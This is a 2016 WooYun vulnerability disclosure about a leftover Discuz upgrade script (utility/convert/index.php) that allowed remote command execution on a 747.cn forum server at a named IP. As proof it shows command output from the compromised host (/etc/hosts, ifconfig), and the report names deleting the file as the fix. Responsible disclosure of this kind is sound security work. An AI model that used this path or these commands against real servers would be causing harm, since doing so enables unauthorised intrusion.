当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0197705

漏洞标题：747盒子某处论坛可命令执行

相关厂商：747.cn

漏洞作者： 路人甲

提交时间：2016-04-18 10:05

修复时间：2016-06-02 18:50

公开时间：2016-06-02 18:50

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-18： 细节已通知厂商并且等待厂商处理中
2016-04-18： 厂商已经确认，细节仅向厂商公开
2016-04-28： 细节向核心白帽子及相关领域专家公开
2016-05-08： 细节向普通白帽子公开
2016-05-18： 细节向实习白帽子公开
2016-06-02： 细节向公众公开

简要描述：

747盒子某处论坛可命令执行

详细说明：

Discuz论坛升级程序未删除，导致可远程命令执行
http://122.112.12.135//utility/convert/index.php

漏洞证明：

[*] 基本信息 [ 	Linux centos10.747.cn 4.2.8-1-pve #1 SMP Sat Mar 19 10:44:29 CET 2016 x86_64(www-data) ]
[/]$ cat /etc/hosts
127.0.0.1 localhost.localdomain localhost localhost4.localdomain4 localhost4
# Auto-generated hostname. Please do not remove this comment.
127.0.1.1 centos10
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
127.0.1.1 centos10
127.0.1.1 centos10
127.0.1.1 centos10
127.0.1.1 centos10
127.0.1.1 centos10
127.0.1.1 centos10
10.0.2.39 centos10.747.cn centos10
# --- BEGIN PVE ---
10.0.2.39 centos10.747.cn centos10
# --- END PVE ---
[/]$ /sbin/ifconfig -a
eth0      Link encap:Ethernet  HWaddr 32:30:66:66:36:63  
          inet addr:10.0.2.39  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::3030:66ff:fe66:3663/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2955129 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2960 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1857890722 (1.7 GiB)  TX bytes:12069336 (11.5 MiB)
eth1      Link encap:Ethernet  HWaddr 3A:38:32:66:35:62  
          inet addr:122.112.12.135  Bcast:122.112.12.191  Mask:255.255.255.192
          inet6 addr: fe80::3838:32ff:fe66:3562/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1260374 errors:0 dropped:0 overruns:0 frame:0
          TX packets:491291 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:112627898 (107.4 MiB)  TX bytes:79937356 (76.2 MiB)
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:18523 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18523 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:3148237 (3.0 MiB)  TX bytes:3148237 (3.0 MiB)
[/]$

修复方案：

删除

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-18 18:40

厂商回复：

感谢路人甲，请留下联系方式，好安排相关人员发放小礼品

最新状态：

暂无

漏洞评价：

评价